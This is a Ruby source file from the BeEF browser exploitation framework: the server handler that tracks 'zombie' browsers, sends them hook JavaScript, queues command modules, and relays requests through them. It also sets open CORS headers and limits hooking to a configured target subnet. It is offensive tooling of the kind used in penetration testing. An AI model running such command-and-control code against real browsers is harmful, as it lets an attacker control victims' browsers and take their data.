Files
beef/lib/server/zombiehandler.rb
scotty.b.brown@gmail.com 8b9917c7f7 Possible fix towards the CORS issues in Chrome etc
git-svn-id: https://beef.googlecode.com/svn/trunk@679 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2011-01-07 07:51:29 +00:00

99 lines
3.2 KiB
Ruby

module BeEF
#
# This class handles connections from zombies to the framework.
#
class ZombieHandler < WEBrick::HTTPServlet::AbstractServlet
include BeEF::Server::Modules::Common
include BeEF::Server::Modules::Requester
attr_reader :guard
def initialize(config)
@guard = Mutex.new
@cmd_opts = BeEF::Console::CommandLine.parse
@session = BeEF::UI::Session.instance
end
#
# This method processes the http requests sent by a zombie to the framework.
# It will update the database to add or update the current zombie and deploy
# some command modules or plugins.
#
def do_GET(request, response)
@body = ''
@params = request.query
@request = request
@response = response
config = BeEF::Configuration.instance
# check source ip address of browser
permitted_hooking_subnet = config.get('permitted_hooking_subnet')
target_network = IPAddr.new(permitted_hooking_subnet)
if not target_network.include?(request.peeraddr[3].to_s)
BeEF::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
@response.set_error(nil)
return
end
# get zombie if already hooked the framework
hook_session_id = request.get_hook_session_id()
hooked_browser = BeEF::Models::Zombie.first(:session => hook_session_id) if not hook_session_id.nil?
if not hooked_browser # is a new browser so return instructions to set up the hook
# generate the instructions to hook the browser
build_beefjs!(@request.host)
else # is a known browseer so send instructions
# record the last poll from the browser
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
execute_plugins!
# add all availible command module instructions to the response
zombie_commands = BeEF::Models::Command.all(:zombie_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
# add all availible autoloading command module instructions to the response
autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true })
autoloadings.each {|command| add_command_instructions(command, hooked_browser)}
# executes the requester
requester_run(hooked_browser)
end
# set response headers and body
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
response.header['Access-Control-Allow-Headers'] = 'Content-Type'
response.body = @body
end
alias do_POST do_GET
alias do_OPTIONS do_GET
private
# Object representing the HTTP request
@request
# Object representing the HTTP response
@response
# A string containing the list of BeEF components active in the hooked browser
@beef_js_cmps
end
end